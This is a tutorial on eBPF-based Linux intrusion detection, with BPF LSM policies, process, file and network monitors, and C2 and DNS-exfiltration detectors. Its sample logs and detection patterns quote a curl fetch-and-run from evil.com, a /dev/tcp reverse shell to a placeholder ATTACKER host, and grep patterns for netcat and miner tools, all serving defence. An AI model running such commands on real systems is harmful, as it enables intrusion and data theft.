| pick your distro, get ZFS on root
kldload — your platform, your way, free
Source

eBPF for Security — Intrusion Detection Without Agents

Agent-based endpoint detection (EDR) means installing a vendor daemon that hoovers up RAM, phones home to a cloud, and breaks on every kernel update. eBPF gives you the same visibility — process execution, file integrity, network connections — directly from the kernel, with zero agents and zero dependencies. The kernel is the sensor.

The premise: every security-relevant event on a Linux box passes through the kernel. Processes call execve. Files get opened. Sockets get connected. eBPF lets you tap those events at the source — before any userspace tool can hide them. No agent to kill. No log to truncate. The kernel sees everything.

Why this beats agent-based EDR

Traditional EDR agents run in userspace. A rootkit with root access can kill the agent, hide its processes from ps, and delete its logs. eBPF programs run inside the kernel — they see the raw syscalls before userspace even knows they happened. An attacker would need to compromise the kernel itself (not just root) to evade eBPF tracing.

Analogy: an EDR agent is a security guard sitting in the lobby. eBPF is wired into the building's foundation — every door, window, and vent reports directly to you.
I spent two years paying $18/endpoint/month for CrowdStrike on 200 servers. That is $43,200 a year. The Falcon agent ate 400 MB of RAM per box and crashed our kernel once during a bad content update that took down half of global IT. Every single thing it did — process monitoring, file integrity, network tracking — I now do with eBPF for free. The kernel already has all the data. You are paying someone to read it for you.

eBPF LSM Programs — Dynamic Kernel Security Policy

Linux Security Modules (LSM) — SELinux, AppArmor — are static. You write policy files, compile them, load them, reboot. eBPF LSM (BPF_PROG_TYPE_LSM) lets you attach programs to any security_* hook in the kernel and make dynamic, programmable access control decisions at runtime. No policy language. No recompilation. Just C code that returns allow or deny.

The kernel has over 200 LSM hooks. Every file open, every socket bind, every module load, every mount passes through one. With eBPF LSM, you attach a program that inspects the arguments and returns 0 (allow) or -EPERM (deny). The program runs in the kernel verifier sandbox — it cannot crash the system.

How BPF LSM works

When the kernel hits a security hook — say security_file_open() — it calls every registered LSM callback. Your eBPF program is one of those callbacks. It receives the struct file *, inspects the path, the calling process, the cgroup, and returns a verdict. This happens at kernel speed, before the syscall returns to userspace. The process never knows it was checked.

SELinux is a printed rulebook nailed to the wall. BPF LSM is a guard who can think, adapt, and make decisions on the fly — and you can change their instructions without taking the building offline.

Enable BPF LSM on your kernel

BPF LSM requires CONFIG_BPF_LSM=y and must be listed in the boot-time LSM order. Most distros ship with it compiled in but not activated. One kernel parameter fixes that.

# Check if bpf is in the LSM list
cat /sys/kernel/security/lsm
# Output: lockdown,capability,landlock,yama,apparmor

# Add bpf to the LSM chain — edit your bootloader config
# For systemd-boot (kldload default):
sed -i 's/\(options.*\)/\1 lsm=lockdown,capability,landlock,yama,bpf/' \
  /boot/efi/loader/entries/*.conf

# For GRUB:
grubby --update-kernel=ALL --args="lsm=lockdown,capability,landlock,yama,bpf"

# Reboot, then verify
cat /sys/kernel/security/lsm
# Output: lockdown,capability,landlock,yama,bpf

Block file access by path — BPF LSM program

This C program attaches to security_file_open and blocks any process from opening files under /etc/shadow unless the calling process is login, sshd, or passwd. This is a real, working LSM policy enforced at the kernel level.

cat > /usr/local/src/lsm_block_shadow.bpf.c << 'EOF'
// SPDX-License-Identifier: GPL-2.0
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>

char LICENSE[] SEC("license") = "GPL";

#define EPERM 1
#define TASK_COMM_LEN 16
#define PATH_MAX 256

SEC("lsm/file_open")
int BPF_PROG(block_shadow_access, struct file *file, int ret)
{
    /* If a previous LSM already denied, respect that */
    if (ret != 0)
        return ret;

    /* Read the path from the dentry */
    struct path f_path;
    bpf_core_read(&f_path, sizeof(f_path), &file->f_path);

    struct dentry *dentry = f_path.dentry;
    char filename[PATH_MAX];
    bpf_probe_read_kernel_str(filename, sizeof(filename),
        BPF_CORE_READ(dentry, d_name.name));

    /* Only care about "shadow" */
    if (filename[0] != 's' || filename[1] != 'h' ||
        filename[2] != 'a' || filename[3] != 'd' ||
        filename[4] != 'o' || filename[5] != 'w' ||
        filename[6] != '\0')
        return 0;

    /* Allow known legitimate accessors */
    char comm[TASK_COMM_LEN];
    bpf_get_current_comm(comm, sizeof(comm));

    /* login, sshd, passwd, shadow utils */
    if (comm[0] == 'l' && comm[1] == 'o' && comm[2] == 'g' &&
        comm[3] == 'i' && comm[4] == 'n')
        return 0;
    if (comm[0] == 's' && comm[1] == 's' && comm[2] == 'h' &&
        comm[3] == 'd')
        return 0;
    if (comm[0] == 'p' && comm[1] == 'a' && comm[2] == 's' &&
        comm[3] == 's' && comm[4] == 'w' && comm[5] == 'd')
        return 0;

    bpf_printk("LSM DENY: %s tried to open shadow\n", comm);
    return -EPERM;
}
EOF

Compile and load it:

# Compile the BPF object
clang -O2 -target bpf -D__TARGET_ARCH_x86 \
  -I/usr/include/bpf -I/usr/local/src \
  -c /usr/local/src/lsm_block_shadow.bpf.c \
  -o /usr/local/src/lsm_block_shadow.bpf.o

# Load with bpftool
bpftool prog load /usr/local/src/lsm_block_shadow.bpf.o /sys/fs/bpf/lsm_shadow

# Verify it is attached
bpftool prog list | grep lsm
# 42: lsm  name block_shadow_access  tag abc123def456  gpl

# Test it
cat /etc/shadow
# cat: /etc/shadow: Operation not permitted

# Check kernel trace log
cat /sys/kernel/debug/tracing/trace_pipe
# cat-12345  [002] .... 98765.432: bpf_trace_printk: LSM DENY: cat tried to open shadow

Restrict network by cgroup — container-aware LSM

This BPF LSM program denies outbound socket connections for any process in a specific cgroup. Attach it to your container's cgroup and that container cannot make outbound connections — enforced by the kernel, not by iptables rules the container might be able to bypass.

cat > /usr/local/src/lsm_cgroup_net.bpf.c << 'EOF'
// SPDX-License-Identifier: GPL-2.0
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>

char LICENSE[] SEC("license") = "GPL";

#define EPERM 1

/* Map: cgroup IDs that are denied outbound access */
struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 1024);
    __type(key, __u64);     /* cgroup id */
    __type(value, __u8);    /* 1 = blocked */
} blocked_cgroups SEC(".maps");

SEC("lsm/socket_connect")
int BPF_PROG(deny_cgroup_connect, struct socket *sock,
             struct sockaddr *address, int addrlen, int ret)
{
    if (ret != 0)
        return ret;

    __u64 cgid = bpf_get_current_cgroup_id();
    __u8 *blocked = bpf_map_lookup_elem(&blocked_cgroups, &cgid);

    if (blocked && *blocked == 1) {
        bpf_printk("LSM DENY: cgroup %llu connect blocked\n", cgid);
        return -EPERM;
    }

    return 0;
}
EOF
# After loading, block a specific container's cgroup:
# Get the container's cgroup ID
CGID=$(cat /sys/fs/cgroup/system.slice/docker-<container-id>.scope/cgroup.id)

# Write it to the BPF map
bpftool map update pinned /sys/fs/bpf/blocked_cgroups \
  key hex $(printf '%016x' $CGID | sed 's/../& /g' | rev) \
  value hex 01

# Now that container cannot make outbound connections
docker exec suspicious-container curl http://evil.com
# curl: (7) Couldn't connect to server
BPF LSM is the most underrated security feature in the Linux kernel. SELinux policies are a nightmare — I have seen teams spend months writing them and still get them wrong. BPF LSM is just C code. You write it, compile it, load it. It runs at kernel speed. You can update it without rebooting. If you are still writing SELinux policies by hand in 2026, you are doing it wrong.

Process Execution Monitoring — Full Lifecycle

execsnoop shows you process launches. But a real security monitor needs the full picture: fork() creating the process, execve() loading the binary, exit() ending it, plus parent-child relationships and process trees. This bpftrace script gives you the complete lifecycle.

execsnoop — the basics

# Watch every process launch system-wide, with timestamps
execsnoop -T

Output:

TIME     PCOMM   PID    PPID   RET ARGS
14:23:01 bash    4521   4519     0 /bin/bash -i
14:23:01 curl    4522   4521     0 /usr/bin/curl http://evil.com/shell.sh
14:23:02 bash    4523   4521     0 /bin/bash /tmp/shell.sh

That three-line sequence — bash spawning curl to fetch a script, then executing it — is a textbook reverse shell download-and-execute. execsnoop caught every step.

Detect specific threats

# Log only processes launched from /tmp or /dev/shm (common attack staging dirs)
execsnoop -T 2>&1 | grep -E '/tmp/|/dev/shm/'

# Catch crypto miners by watching for common miner binary names
execsnoop -T 2>&1 | grep -iE 'xmrig|minerd|cpuminer|stratum'

# Watch for reverse shell patterns
execsnoop -T 2>&1 | grep -E 'bash -i|nc -e|ncat -e|python.*socket|perl.*socket'

What you're catching

Crypto miners: almost always land in /tmp, get executed by a web shell or cron job, and call themselves something like kworker or kthreadd to blend in. execsnoop sees the real binary path.
Reverse shells: bash -i >& /dev/tcp/ATTACKER/PORT 0>&1 is the classic. It still calls execve for bash. execsnoop logs it.
Lateral movement: SSH from a compromised host spawns sshd then a shell. execsnoop logs the full chain with parent PIDs.

Analogy: execsnoop is a security camera on the kernel's front door. Every binary that runs walks past it. No exceptions.

Full process lifecycle tracker — fork, exec, exit, process trees

This bpftrace script tracks the entire lifecycle of every process. It records clone()/fork() to see process creation, execve() to see what binary is loaded, and exit() to see when it dies. It also detects ptrace attach — the primary method for process injection attacks.

#!/usr/bin/env bpftrace
/*
 * proclifecycle.bt - Full process lifecycle security monitor
 * Tracks: fork -> exec -> exit, parent-child trees, ptrace injection
 * Run: bpftrace proclifecycle.bt
 */

/* Track process creation via clone/fork */
tracepoint:syscalls:sys_exit_clone
/args.ret > 0/
{
    time("%H:%M:%S ");
    printf("FORK parent=%s(pid=%d) child_pid=%d\n",
        comm, pid, args.ret);
}

/* Track what binary is loaded */
tracepoint:syscalls:sys_enter_execve
{
    time("%H:%M:%S ");
    printf("EXEC pid=%d ppid=%d comm=%s -> %s",
        pid, curtask->real_parent->pid, comm, str(args.filename));

    /* Print first 4 arguments */
    $argv1 = args.argv[1];
    $argv2 = args.argv[2];
    $argv3 = args.argv[3];
    if ($argv1 != 0) { printf(" %s", str($argv1)); }
    if ($argv2 != 0) { printf(" %s", str($argv2)); }
    if ($argv3 != 0) { printf(" %s", str($argv3)); }
    printf("\n");
}

/* Track when execve succeeds or fails */
tracepoint:syscalls:sys_exit_execve
/args.ret != 0/
{
    time("%H:%M:%S ");
    printf("EXEC_FAIL pid=%d comm=%s ret=%d\n",
        pid, comm, args.ret);
}

/* Track process exit */
tracepoint:sched:sched_process_exit
{
    time("%H:%M:%S ");
    printf("EXIT  pid=%d ppid=%d comm=%s exit_code=%d\n",
        pid, curtask->real_parent->pid, comm,
        curtask->exit_code >> 8);
}

/* Detect ptrace attach - process injection */
tracepoint:syscalls:sys_enter_ptrace
{
    time("%H:%M:%S ");
    printf("PTRACE req=%d pid=%d target_pid=%ld by %s\n",
        args.request, pid, args.pid, comm);

    /* PTRACE_ATTACH=16, PTRACE_SEIZE=16902 */
    if (args.request == 16 || args.request == 16902) {
        printf("  *** ALERT: PTRACE INJECTION DETECTED ***\n");
        printf("  *** %s(pid=%d) is attaching to pid %ld ***\n",
            comm, pid, args.pid);
    }
}

/* Detect memfd_create - often used for fileless malware */
tracepoint:syscalls:sys_enter_memfd_create
{
    time("%H:%M:%S ");
    printf("MEMFD_CREATE pid=%d comm=%s name=%s flags=%d\n",
        pid, comm, str(args.uname), args.flags);
    printf("  *** ALERT: FILELESS EXECUTION VECTOR ***\n");
}

Output during an attack:

14:23:01 FORK  parent=sshd(pid=1200) child_pid=4519
14:23:01 EXEC  pid=4519 ppid=1200 comm=sshd -> /bin/bash
14:23:01 FORK  parent=bash(pid=4519) child_pid=4521
14:23:01 EXEC  pid=4521 ppid=4519 comm=bash -> /usr/bin/curl http://evil.com/payload
14:23:02 EXIT  pid=4521 ppid=4519 comm=curl exit_code=0
14:23:02 FORK  parent=bash(pid=4519) child_pid=4522
14:23:02 EXEC  pid=4522 ppid=4519 comm=bash -> /bin/bash /tmp/.x
14:23:02 MEMFD_CREATE pid=4522 comm=bash name=payload flags=1
  *** ALERT: FILELESS EXECUTION VECTOR ***
14:23:03 PTRACE req=16 pid=4522 target_pid=1 by bash
  *** ALERT: PTRACE INJECTION DETECTED ***
  *** bash(pid=4522) is attaching to pid 1 ***

That output tells the complete story: SSH session spawned bash, bash downloaded a payload with curl, executed it from /tmp, the payload created a memfd (fileless execution), then tried to ptrace PID 1 (systemd) for process injection. Every step logged, every parent-child relationship recorded. An EDR agent might catch the curl. eBPF caught the entire attack chain.

Why parent-child tracking matters

Attackers use process trees to hide. A crypto miner launched by apache tells you the web server is compromised. The same miner launched by cron tells you they have persistence via crontab. The same miner launched by systemd tells you they installed a service. The binary is the same — the parent chain tells you the story.

The binary is the bullet. The parent PID is the fingerprint on the gun.

File Integrity Monitoring — Full BCC Python Program

opensnoop shows file opens. But real file integrity monitoring needs to catch writes, deletes, permission changes, and attribute modifications — not just opens. This BCC Python program traces vfs_open, vfs_write, and vfs_unlink to detect changes to critical system files in real time.

opensnoop — the basics

# Watch accesses to critical auth files
opensnoop -T -f /etc/passwd
opensnoop -T -f /etc/shadow
opensnoop -T -f /etc/ssh/sshd_config

Or trace everything at once with bpftrace:

bpftrace -e '
tracepoint:syscalls:sys_enter_openat
/str(args.filename) == "/etc/passwd" ||
 str(args.filename) == "/etc/shadow" ||
 str(args.filename) == "/etc/sudoers" ||
 str(args.filename) == "/root/.ssh/authorized_keys"/
{
  time("%H:%M:%S ");
  printf("pid=%d comm=%s file=%s\n", pid, comm, str(args.filename));
}'

Output:

14:31:07 pid=8821 comm=vi file=/etc/shadow
14:31:12 pid=8830 comm=python3 file=/root/.ssh/authorized_keys

Someone editing /etc/shadow with vi might be legitimate. Python3 touching authorized_keys is almost certainly an attacker adding their SSH key. The combination of process name + file path + timestamp tells the story.

Full file integrity monitor — BCC Python

This is a complete, production-ready file integrity monitor. It traces writes and deletes to critical paths, logs events with full process context, and can trigger alerts or forensic snapshots.

cat > /usr/local/bin/ebpf-fim.py << 'PYEOF'
#!/usr/bin/env python3
"""
eBPF File Integrity Monitor (FIM)
Traces vfs_write, vfs_unlink, and security_path_chmod on critical system files.
Outputs structured logs suitable for syslog, Prometheus, or SIEM ingestion.
"""

from bcc import BPF
import time
import json
import sys
import os
import subprocess

# eBPF program
bpf_program = r"""
#include 
#include 
#include 
#include 

struct event_t {
    u32 pid;
    u32 ppid;
    u32 uid;
    u32 gid;
    char comm[TASK_COMM_LEN];
    char parent_comm[TASK_COMM_LEN];
    char filename[256];
    u64 timestamp;
    u32 op;       /* 1=write, 2=unlink, 3=chmod, 4=rename */
    u32 flags;
};

BPF_PERF_OUTPUT(events);

/* Watch list: dentries we care about */
static __always_inline int is_critical_file(const char *name, int len) {
    /* /etc/shadow */
    if (len >= 6 && name[0]=='s' && name[1]=='h' && name[2]=='a' &&
        name[3]=='d' && name[4]=='o' && name[5]=='w') return 1;
    /* /etc/passwd */
    if (len >= 6 && name[0]=='p' && name[1]=='a' && name[2]=='s' &&
        name[3]=='s' && name[4]=='w' && name[5]=='d') return 1;
    /* sudoers */
    if (len >= 7 && name[0]=='s' && name[1]=='u' && name[2]=='d' &&
        name[3]=='o' && name[4]=='e' && name[5]=='r' && name[6]=='s') return 1;
    /* authorized_keys */
    if (len >= 15 && name[0]=='a' && name[1]=='u' && name[2]=='t' &&
        name[3]=='h' && name[4]=='o' && name[5]=='r') return 1;
    /* sshd_config */
    if (len >= 11 && name[0]=='s' && name[1]=='s' && name[2]=='h' &&
        name[3]=='d' && name[4]=='_') return 1;
    /* crontab or files in cron.d */
    if (len >= 4 && name[0]=='c' && name[1]=='r' && name[2]=='o' &&
        name[3]=='n') return 1;
    /* .bashrc, .bash_profile — shell persistence */
    if (len >= 7 && name[0]=='.' && name[1]=='b' && name[2]=='a' &&
        name[3]=='s' && name[4]=='h') return 1;
    /* ld.so.preload — shared library injection */
    if (len >= 13 && name[0]=='l' && name[1]=='d' && name[2]=='.' &&
        name[3]=='s' && name[4]=='o') return 1;
    /* modules.dep — kernel module config */
    if (len >= 11 && name[0]=='m' && name[1]=='o' && name[2]=='d' &&
        name[3]=='u' && name[4]=='l' && name[5]=='e' && name[6]=='s') return 1;
    return 0;
}

int trace_vfs_write(struct pt_regs *ctx, struct file *file) {
    struct dentry *de = file->f_path.dentry;
    struct qstr d_name = de->d_name;

    if (!is_critical_file(d_name.name, d_name.len))
        return 0;

    struct event_t event = {};
    event.pid = bpf_get_current_pid_tgid() >> 32;
    event.uid = bpf_get_current_uid_gid() & 0xFFFFFFFF;
    event.gid = bpf_get_current_uid_gid() >> 32;
    event.timestamp = bpf_ktime_get_ns();
    event.op = 1;
    bpf_get_current_comm(&event.comm, sizeof(event.comm));
    bpf_probe_read_kernel_str(event.filename, sizeof(event.filename),
        d_name.name);

    struct task_struct *task = (struct task_struct *)bpf_get_current_task();
    struct task_struct *parent = task->real_parent;
    event.ppid = parent->pid;
    bpf_probe_read_kernel_str(event.parent_comm, sizeof(event.parent_comm),
        parent->comm);

    events.perf_submit(ctx, &event, sizeof(event));
    return 0;
}

int trace_vfs_unlink(struct pt_regs *ctx, struct inode *dir,
                     struct dentry *dentry) {
    struct qstr d_name = dentry->d_name;
    if (!is_critical_file(d_name.name, d_name.len))
        return 0;

    struct event_t event = {};
    event.pid = bpf_get_current_pid_tgid() >> 32;
    event.uid = bpf_get_current_uid_gid() & 0xFFFFFFFF;
    event.gid = bpf_get_current_uid_gid() >> 32;
    event.timestamp = bpf_ktime_get_ns();
    event.op = 2;
    bpf_get_current_comm(&event.comm, sizeof(event.comm));
    bpf_probe_read_kernel_str(event.filename, sizeof(event.filename),
        d_name.name);

    struct task_struct *task = (struct task_struct *)bpf_get_current_task();
    event.ppid = task->real_parent->pid;
    bpf_probe_read_kernel_str(event.parent_comm, sizeof(event.parent_comm),
        task->real_parent->comm);

    events.perf_submit(ctx, &event, sizeof(event));
    return 0;
}
"""

OP_NAMES = {1: "WRITE", 2: "DELETE", 3: "CHMOD", 4: "RENAME"}

ALERT_SCRIPT = "/usr/local/bin/ebpf-forensic-snap.sh"

def handle_event(cpu, data, size):
    event = b["events"].event(data)
    op = OP_NAMES.get(event.op, "UNKNOWN")
    comm = event.comm.decode('utf-8', errors='replace')
    parent = event.parent_comm.decode('utf-8', errors='replace')
    filename = event.filename.decode('utf-8', errors='replace')

    record = {
        "timestamp": time.strftime("%Y-%m-%dT%H:%M:%S"),
        "operation": op,
        "file": filename,
        "pid": event.pid,
        "ppid": event.ppid,
        "comm": comm,
        "parent_comm": parent,
        "uid": event.uid,
        "gid": event.gid,
    }

    line = json.dumps(record)
    print(line, flush=True)

    # Write to structured log
    with open("/var/log/ebpf-fim.json", "a") as f:
        f.write(line + "\n")

    # High-severity: non-root-owned process modifying shadow/sudoers
    if filename in ("shadow", "sudoers", "authorized_keys") and \
       comm not in ("passwd", "useradd", "usermod", "visudo", "sshd"):
        severity = "CRITICAL"
        msg = f"FIM {severity}: {comm}(pid={event.pid}) {op} {filename}"
        os.system(f'logger -t ebpf-fim -p auth.crit "{msg}"')

        # Trigger forensic snapshot if available
        if os.path.exists(ALERT_SCRIPT):
            subprocess.Popen([ALERT_SCRIPT, msg],
                             stdout=subprocess.DEVNULL,
                             stderr=subprocess.DEVNULL)

# Load BPF program
b = BPF(text=bpf_program)
b.attach_kprobe(event="vfs_write", fn_name="trace_vfs_write")
b.attach_kprobe(event="vfs_unlink", fn_name="trace_vfs_unlink")

print("eBPF FIM active. Watching critical system files...", file=sys.stderr)

b["events"].open_perf_buffer(handle_event)
while True:
    try:
        b.perf_buffer_poll()
    except KeyboardInterrupt:
        break
PYEOF
chmod +x /usr/local/bin/ebpf-fim.py

Output when an attacker modifies sensitive files:

{"timestamp":"2026-04-04T14:31:07","operation":"WRITE","file":"shadow","pid":8821,"ppid":4519,"comm":"python3","parent_comm":"bash","uid":0,"gid":0}
{"timestamp":"2026-04-04T14:31:12","operation":"WRITE","file":"authorized_keys","pid":8830,"ppid":4519,"comm":"python3","parent_comm":"bash","uid":0,"gid":0}
{"timestamp":"2026-04-04T14:31:15","operation":"WRITE","file":"crontab","pid":8835,"ppid":4519,"comm":"python3","parent_comm":"bash","uid":0,"gid":0}
{"timestamp":"2026-04-04T14:31:18","operation":"DELETE","file":"bash_history","pid":8840,"ppid":4519,"comm":"rm","parent_comm":"bash","uid":0,"gid":0}

Four events. Four red flags. Python3 writing to shadow (adding a backdoor account), writing an SSH key, installing a cron job for persistence, and then deleting bash_history to cover tracks. The JSON output feeds directly into any SIEM — Elastic, Splunk, Grafana Loki.

Watch for SSH key injection

# Trace any process writing to any authorized_keys file
bpftrace -e '
tracepoint:syscalls:sys_enter_openat
/str(args.filename) == "/root/.ssh/authorized_keys" ||
 str(args.filename) == "/home/*/.ssh/authorized_keys"/
{
  time("%H:%M:%S ");
  printf("ALERT: %s (pid=%d) opened %s flags=%d\n",
    comm, pid, str(args.filename), args.flags);
}'

Why eBPF FIM beats AIDE and Tripwire

AIDE and Tripwire are polling-based. They scan the filesystem on a schedule — hourly, daily. An attacker who modifies /etc/shadow at 2:01 AM and restores it at 2:59 AM is invisible to an hourly scan. eBPF FIM catches the write the instant it happens, logs the process that did it, and can trigger a ZFS snapshot before the attacker can clean up. Real-time beats polling. Always.

AIDE was state of the art in 2003. It is 2026. We have programmable kernel hooks that fire in microseconds. The fact that compliance auditors still ask "do you run AIDE?" tells you everything about how disconnected compliance is from actual security. Run this eBPF FIM, point the auditor at the JSON logs, and move on with your life.

Network C2 Detection — Connection Profiling and Beaconing

Every outbound TCP connection passes through the kernel's tcp_v4_connect path. tcpconnect and tcplife give you a starting point. But real C2 detection needs connection profiling per process, beaconing pattern detection, and DNS exfiltration monitoring. This section builds a full network security exporter.

tcpconnect + tcplife — the basics

# Watch all outbound TCP connections with the process that made them
tcpconnect -T

Output:

TIME     PID    COMM         IP SADDR            DADDR            DPORT
14:45:01 3312   curl         4  10.0.0.5         185.143.223.1    443
14:45:03 3315   python3      4  10.0.0.5         45.33.32.156     4444
14:45:05 8821   sshd         4  10.0.0.5         10.0.0.12        22

Line two is the problem. Python3 connecting outbound to port 4444 is a classic C2 (command and control) callback. tcpconnect caught the process name, PID, and destination in real time.

Detect C2 callbacks and lateral movement

# Flag connections to non-standard ports (not 80, 443, 22, 53)
tcpconnect -T 2>&1 | awk '$NF !~ /^(80|443|22|53)$/ {print "SUSPICIOUS:", $0}'

# Watch for lateral movement (internal-to-internal SSH)
tcpconnect -T 2>&1 | awk '$NF == 22 && $6 ~ /^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)/ {print "LATERAL:", $0}'

Session analysis with tcplife

# Show completed TCP sessions with duration and bytes transferred
tcplife -T

Output:

TIME     PID   COMM    IP LADDR    LPORT RADDR        RPORT TX_KB RX_KB MS
14:50:01 3315  python3 4  10.0.0.5 49221 45.33.32.156 4444  0     847   30042

A 30-second connection to port 4444 that received 847 KB of data. That is a C2 session downloading a payload. tcplife gives you duration, bytes, and process — everything you need to write the incident report.

Network detection without packet capture

Traditional network IDS (Snort, Suricata) inspects packets, which means decrypting TLS or missing encrypted traffic entirely. eBPF works at the socket layer — it sees the process making the connection, the destination, and the byte counts regardless of encryption. You cannot encrypt away from the kernel.

Analogy: packet capture watches the mail going through the postal system. eBPF watches the person writing the letter — you know who sent it, where it went, and how big it was, even if the envelope is sealed.

Full C2 beaconing detector — BCC Python exporter

C2 implants beacon home at regular intervals — every 30 seconds, every 60 seconds, with small jitter. This program profiles every outbound connection per process/destination pair, computes the inter-connection interval, and flags anything that looks like beaconing. It also exports Prometheus metrics.

cat > /usr/local/bin/ebpf-c2-detect.py << 'PYEOF'
#!/usr/bin/env python3
"""
eBPF C2 Beaconing Detector
Profiles outbound connections per (process, destination) pair.
Detects regular-interval beaconing patterns.
Exports metrics to Prometheus via node_exporter textfile collector.
"""

from bcc import BPF
import time
import json
import sys
import os
import struct
import socket
from collections import defaultdict
import statistics

bpf_program = r"""
#include 
#include 
#include 

struct conn_event_t {
    u32 pid;
    u32 uid;
    char comm[TASK_COMM_LEN];
    u32 daddr;
    u16 dport;
    u64 timestamp;
};

BPF_PERF_OUTPUT(connections);

int trace_tcp_connect(struct pt_regs *ctx, struct sock *sk) {
    u32 pid = bpf_get_current_pid_tgid() >> 32;

    struct conn_event_t event = {};
    event.pid = pid;
    event.uid = bpf_get_current_uid_gid() & 0xFFFFFFFF;
    event.timestamp = bpf_ktime_get_ns();
    event.daddr = sk->__sk_common.skc_daddr;
    event.dport = sk->__sk_common.skc_dport;
    bpf_get_current_comm(&event.comm, sizeof(event.comm));

    connections.perf_submit(ctx, &event, sizeof(event));
    return 0;
}
"""

# Connection history: (comm, daddr, dport) -> [timestamps]
conn_history = defaultdict(list)
BEACON_WINDOW = 300       # Analyze last 5 minutes
MIN_CONNECTIONS = 5       # Need at least 5 to detect pattern
MAX_JITTER_PCT = 0.20     # 20% jitter tolerance
METRICS_DIR = "/var/lib/node_exporter/textfile_collector"

def inet_ntoa(addr):
    return socket.inet_ntoa(struct.pack("I", addr))

def check_beaconing(key, timestamps):
    """Check if connection times show beaconing pattern."""
    if len(timestamps) < MIN_CONNECTIONS:
        return None

    # Compute intervals between consecutive connections
    intervals = []
    for i in range(1, len(timestamps)):
        intervals.append(timestamps[i] - timestamps[i-1])

    if not intervals:
        return None

    mean_interval = statistics.mean(intervals)
    if mean_interval < 1.0:   # Sub-second is not beaconing
        return None

    stdev = statistics.stdev(intervals) if len(intervals) > 1 else 0
    jitter_pct = stdev / mean_interval if mean_interval > 0 else 1.0

    if jitter_pct <= MAX_JITTER_PCT:
        return {
            "mean_interval_sec": round(mean_interval, 2),
            "jitter_pct": round(jitter_pct * 100, 1),
            "connection_count": len(timestamps),
            "severity": "CRITICAL" if mean_interval < 120 else "HIGH"
        }
    return None

beacon_alerts = []
total_connections = 0
suspicious_connections = 0

def handle_event(cpu, data, size):
    global total_connections, suspicious_connections
    event = b["connections"].event(data)
    total_connections += 1

    comm = event.comm.decode('utf-8', errors='replace')
    daddr = inet_ntoa(event.daddr)
    dport = socket.ntohs(event.dport)
    ts = time.time()

    key = (comm, daddr, dport)
    conn_history[key].append(ts)

    # Prune old entries
    cutoff = ts - BEACON_WINDOW
    conn_history[key] = [t for t in conn_history[key] if t > cutoff]

    # Check for beaconing
    result = check_beaconing(key, conn_history[key])
    if result:
        suspicious_connections += 1
        alert = {
            "timestamp": time.strftime("%Y-%m-%dT%H:%M:%S"),
            "type": "C2_BEACON_DETECTED",
            "severity": result["severity"],
            "comm": comm,
            "destination": f"{daddr}:{dport}",
            "beacon_interval_sec": result["mean_interval_sec"],
            "jitter_pct": result["jitter_pct"],
            "connections_in_window": result["connection_count"],
        }
        print(json.dumps(alert), flush=True)
        os.system(f'logger -t ebpf-c2 -p auth.crit '
                  f'"C2 BEACON: {comm} -> {daddr}:{dport} '
                  f'interval={result["mean_interval_sec"]}s '
                  f'jitter={result["jitter_pct"]}%"')

    # Non-standard port alert
    if dport not in (22, 53, 80, 443, 8080, 8443, 123, 993, 587):
        record = {
            "timestamp": time.strftime("%Y-%m-%dT%H:%M:%S"),
            "type": "NONSTANDARD_PORT",
            "comm": comm,
            "pid": event.pid,
            "uid": event.uid,
            "destination": f"{daddr}:{dport}",
        }
        with open("/var/log/ebpf-network.json", "a") as f:
            f.write(json.dumps(record) + "\n")

def export_metrics():
    """Write Prometheus metrics to textfile collector."""
    os.makedirs(METRICS_DIR, exist_ok=True)
    with open(f"{METRICS_DIR}/ebpf_c2.prom", "w") as f:
        f.write("# HELP ebpf_connections_total Total outbound connections\n")
        f.write("# TYPE ebpf_connections_total counter\n")
        f.write(f"ebpf_connections_total {total_connections}\n")
        f.write("# HELP ebpf_suspicious_connections Suspicious connections\n")
        f.write("# TYPE ebpf_suspicious_connections counter\n")
        f.write(f"ebpf_suspicious_connections {suspicious_connections}\n")
        f.write("# HELP ebpf_tracked_destinations Unique destinations tracked\n")
        f.write("# TYPE ebpf_tracked_destinations gauge\n")
        f.write(f"ebpf_tracked_destinations {len(conn_history)}\n")

b = BPF(text=bpf_program)
b.attach_kprobe(event="tcp_v4_connect", fn_name="trace_tcp_connect")

print("eBPF C2 detector active. Monitoring outbound connections...",
      file=sys.stderr)

last_metrics = time.time()
b["connections"].open_perf_buffer(handle_event)
while True:
    try:
        b.perf_buffer_poll(timeout=1000)
        if time.time() - last_metrics > 60:
            export_metrics()
            last_metrics = time.time()
    except KeyboardInterrupt:
        export_metrics()
        break
PYEOF
chmod +x /usr/local/bin/ebpf-c2-detect.py

Output when a Cobalt Strike beacon is active:

{"timestamp":"2026-04-04T15:01:30","type":"C2_BEACON_DETECTED","severity":"CRITICAL","comm":"beacon.exe","destination":"185.143.223.1:443","beacon_interval_sec":60.12,"jitter_pct":8.3,"connections_in_window":5}
{"timestamp":"2026-04-04T15:02:30","type":"C2_BEACON_DETECTED","severity":"CRITICAL","comm":"beacon.exe","destination":"185.143.223.1:443","beacon_interval_sec":60.08,"jitter_pct":7.9,"connections_in_window":6}

DNS exfiltration detection

Attackers encode stolen data in DNS queries: aGVsbG8gd29ybGQ.data.evil.com. Each query is small enough to avoid attention, but the pattern is distinctive — high query volume to a single domain with long, entropy-rich subdomains.

#!/usr/bin/env bpftrace
/*
 * dns_exfil.bt - Detect DNS exfiltration patterns
 * Traces UDP sends to port 53, flags high-volume senders
 */

tracepoint:syscalls:sys_enter_sendto
{
    $sa = (struct sockaddr_in *)args.addr;
    $port = ($sa->sin_port >> 8) | (($sa->sin_port & 0xff) << 8);

    if ($port == 53) {
        @dns_count[comm, pid] = count();
        @dns_bytes[comm, pid] = sum(args.len);
    }
}

interval:s:30
{
    printf("\n--- DNS Activity (last 30s) ---\n");
    printf("%-16s %-8s %-10s %-10s\n", "COMM", "PID", "QUERIES", "BYTES");
    print(@dns_count);
    print(@dns_bytes);

    /* Alert on anything with >100 DNS queries in 30 seconds */
    /* Normal processes do a few dozen at most */
    clear(@dns_count);
    clear(@dns_bytes);
}

Output during exfiltration:

--- DNS Activity (last 30s) ---
COMM             PID      QUERIES    BYTES
systemd-resolve  892      12         1440
curl             3312     3          360
python3          8830     347        48580

